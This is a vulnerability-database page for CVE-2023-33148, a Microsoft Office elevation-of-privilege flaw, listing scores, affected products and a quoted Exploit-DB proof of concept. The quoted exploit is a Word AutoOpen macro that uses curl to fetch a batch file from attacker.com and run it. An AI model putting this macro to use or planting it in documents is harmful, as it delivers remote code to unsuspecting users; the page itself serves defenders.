CVE-2023-33148

high
Published 2023-07-11 ยท Modified 2026-05-19
CVSS v3
7.8
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.8

Description

Microsoft Office Elevation of Privilege Vulnerability

Predictions

Exploit likelihood
75%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-51609 remote multiple text ยท 1 KB
nu11secur1ty ยท 2023-07-20

Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.

text exploit Source: Exploit-DB
## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148


## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.

## Staus: HIGH Vulnerability

[+]Exploit:

- Exploit Server:

```vb
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)

## Time spend:
00:35:00

Application impact

VendorProductVersionsFixed
windows microsoft365_apps-
windows microsoftoffice2013
windows microsoftoffice2019
windows microsoftoffice_long_term_servicing_channel2021

References

CWEs

CWE-59

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.